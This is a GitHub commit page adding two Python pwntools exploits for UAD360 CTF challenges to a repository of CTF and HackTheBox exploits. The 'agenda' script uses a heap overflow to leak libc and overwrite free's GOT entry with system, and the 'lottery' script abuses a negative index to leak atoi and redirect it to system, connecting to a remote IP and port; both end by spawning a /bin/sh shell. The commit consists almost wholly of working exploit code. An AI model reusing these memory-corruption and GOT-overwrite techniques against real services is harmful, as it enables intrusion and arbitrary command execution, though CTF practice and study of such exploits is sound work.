Skip to content

Commit 82c4d01

Browse files
committed
Exploits upload
Agenda and lottery challenges from UAD360.
1 parent c749796 commit 82c4d01

File tree

7 files changed

+114
-1
lines changed

7 files changed

+114
-1
lines changed

README.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,9 @@
99
| babypwn - CODEGATE 2017 | [babypwn exploit](../master/babypwn_CODEGATE_2017/exploit.py) |
1010
| Smasher - HackTheBox exploit WITH LEAK | [Smasher exploit](../master/smasher_exploit_hackthebox/leak/exploit.py) |
1111
| Smasher - HackTheBox exploit WITHOUT LEAK | [Smasher exploit](../master/smasher_exploit_hackthebox/no_leak/exploit.py) |
12-
| PWN - Old Bridge HackTheBox challenge | [Old Bridge exploit](..//master/oldbridge_hackthebox_challenge/oldbridge_HTB.zip) |
12+
| PWN - Old Bridge HackTheBox challenge | [Old Bridge exploit](../master/oldbridge_hackthebox_challenge/oldbridge_HTB.zip) |
13+
| Lottery - UAD360 CTF | [Lottery exploit](../master/lottery_UAD360/exploit.py) |
14+
| Agenda - UAD360 CTF | [Agenda exploit](../master/agenda_UAD360/exploit.py) |
1315

1416
| Vulnerabilities | Exploit |
1517
| --- | --- |

agenda_UAD360/agenda_main

12.8 KB
Binary file not shown.

agenda_UAD360/exploit.py

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#!/usr/bin/python
2+
from pwn import *
3+
4+
context.terminal = ['tmux', 'sp', '-h']
5+
# context.log_level = 'DEBUG'
6+
7+
elf = ELF('./agenda_main_patched')
8+
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
9+
10+
io = process(elf.path)
11+
12+
def add_note(size, content):
13+
io.recvuntil('Selecciona una opcion>')
14+
io.sendline('1')
15+
io.recvuntil('Longitud del evento:')
16+
io.sendline(str(size))
17+
io.recvuntil('Introduce el evento:')
18+
io.sendline(content)
19+
20+
def print_note(index):
21+
io.recvuntil('Selecciona una opcion>')
22+
io.sendline('2')
23+
io.recvuntil('Indica el evento:')
24+
io.sendline(str(index))
25+
26+
def edit_note(index, content):
27+
io.recvuntil('Selecciona una opcion>')
28+
io.sendline('3')
29+
io.recvuntil('Indica el evento:')
30+
io.sendline(str(index))
31+
io.recvuntil('Introduce el evento:')
32+
io.send(content)
33+
34+
def free_note(index):
35+
io.recvuntil('Selecciona una opcion>')
36+
io.sendline('4')
37+
io.recvuntil('Indica el evento:')
38+
io.sendline(str(index))
39+
40+
for i in range(11):
41+
add_note(10, str(ord('A') + i) * 10)
42+
43+
free_note(2)
44+
free_note(1)
45+
edit_note(0, 'X' * 32 + p64(elf.got['free']))
46+
47+
add_note(10, 'L' * 10)
48+
add_note(10, '')
49+
print_note(12)
50+
51+
io.recvline()
52+
leak_free = u64(p64(libc.sym['free'])[:1] + io.recv(8)[1:])
53+
libc.address = leak_free - libc.sym['free']
54+
log.success('Leaked free@@GLIBC address: ' + hex(leak_free))
55+
log.success('GLIBC base address: ' + hex(libc.address))
56+
57+
log.info('Spawning shell...')
58+
edit_note(0, '/bin/sh\x00')
59+
edit_note(12, p64(libc.sym['system']))
60+
free_note(0)
61+
62+
io.recv()
63+
io.interactive()
64+
io.close()

agenda_UAD360/libc-2.27-level2.so

1.94 MB
Binary file not shown.

lottery_UAD360/exploit.py

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
from pwn import *
2+
3+
elf = ELF('./lottery_main_patched')
4+
local = False
5+
HOST = '34.253.120.147'
6+
PORT = 2324
7+
8+
context.terminal = ['tmux', 'sp', '-h']
9+
10+
if local == False:
11+
libc = ELF('./libc-2.24-level1.so', checksec=False)
12+
io = remote(HOST, PORT)
13+
else:
14+
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
15+
io = process(elf.path)
16+
17+
def leak():
18+
io.sendline('2')
19+
io.sendlineafter('show:', '-11')
20+
io.recvuntil('number: ')
21+
lower_half = int(io.recvuntil('\n', drop=True))
22+
io.recvuntil('tickets: ')
23+
higher_half = int(io.recvuntil('\n', drop=True))
24+
higher_half = higher_half << (4 * (len(hex(lower_half)) - 2))
25+
io.recvuntil('option>')
26+
27+
return higher_half + lower_half
28+
29+
def write(what, where):
30+
io.sendline('1')
31+
io.sendlineafter('edit:', str(int(where)))
32+
io.sendlineafter('number:', str(int(what & 0x00000000ffffffff)))
33+
io.sendlineafter('bought:', str(int(what & 0xffffffff00000000) >> 4 * 8))
34+
io.sendlineafter('option>', '/bin/sh')
35+
36+
leaked_atoi = leak()
37+
libc.address = leaked_atoi - libc.sym['atoi']
38+
39+
log.success('Leaked atoi@@GLIBC address: ' + hex(leaked_atoi))
40+
log.info('GLIBC base address: ' + hex(libc.address))
41+
log.info('System@@GLIBC address: ' + hex(libc.sym['system']))
42+
43+
write(libc.sym['system'], -11)
44+
io.recv()
45+
46+
io.interactive()
47+
io.close()

lottery_UAD360/libc-2.24-level1.so

1.61 MB
Binary file not shown.

lottery_UAD360/lottery_main

8.61 KB
Binary file not shown.

0 commit comments

Comments
 (0)